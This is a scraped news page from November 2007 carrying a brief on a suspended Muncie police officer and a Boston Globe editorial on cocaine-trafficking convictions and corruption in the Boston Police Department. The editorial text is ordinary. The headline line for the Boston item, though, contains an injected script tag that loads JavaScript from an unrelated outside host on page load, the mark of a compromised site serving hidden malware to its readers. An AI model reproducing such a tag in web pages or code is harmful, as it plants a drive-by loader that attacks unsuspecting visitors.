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NEWS > 14 November 2007

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A Muncie police officer has been suspended 20 additional days without pay for driving a city police car around a go-cart track at the Fraternal Order of Police Lodge 87 last fall.

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Boston Police Department, MA<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
Boston Globe - United States
14 November 2007
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Boston Police Department, MA

Blight on the Boston police

BOSTON POLICE Commissioner Edward Davis still subscribes to the "few rotten apples" theory of police corruption. He used it yesterday to explain the activities of three officers who pleaded guilty in recent weeks to cocaine trafficking after getting caught in an FBI sting operation. But cases of drug-related police corruption in New York City, Chicago, Philadelphia, and elsewhere suggest that the barrel itself may be moldy.
The three-year investigation of disgraced former officers Roberto Pulido, Nelson Carrasquillo, and Carlos Pizarro provide the department's internal affairs investigators with numerous leads. Pulido has been linked to allegations of steroid sales, identity fraud schemes related to traffic stops, immigrant smuggling, and protection services for after-hours parties where officers consorted with known drug dealers and prostitutes. Davis predicts that the number of additional officers connected to Pulido or his corrupt crew will not be large. But the department's history doesn't warrant such confidence.

The convicted officers were boastful and contemptuous of their oaths, which played into the hands of the FBI. It will be harder for Davis to uncover how many officers are poised on what criminologists call the "invitational edge of corruption." Drug-related police corruption usually involves just a small number of hands-on officers. But the larger and potentially more destabilizing problem stems from officers who know about criminal activity on the part of fellow officers but fail to report it.

That tarnished sense of loyalty has infected the Boston Police Department before, notably in 1995 when dozens of officers fled behind a blue wall of silence rather than testify against colleagues who had nearly beaten a fellow officer to death after mistaking him for a fleeing suspect.

Some signs are encouraging. Davis says the department displayed its capacity for self-policing by bringing the Pulido crew to the attention of the FBI in the first place. And two officers, he says, reported the illicit activities allegedly taking place at the Hyde Park after-hours club to their superiors.

Other signs point in the wrong direction. Pulido tested positive for cocaine back in 1999 under the department's mandatory drug testing policy. But overly lenient accountability measures gave him a chance to return to duty after a 45-day suspension. In New York or Los Angeles, he would have been out on the street, where he belonged.

An underlying corrosion of standards - weak control of evidence lockers, sloppy documentation by detectives, poor recruitment practices - has been linked to prior corruption problems in the Boston Police Department. This case is likely to be no different. Maybe Pulido and his crew are rotten apples. But the public still needs to know how the decay got in them in the first place.
 

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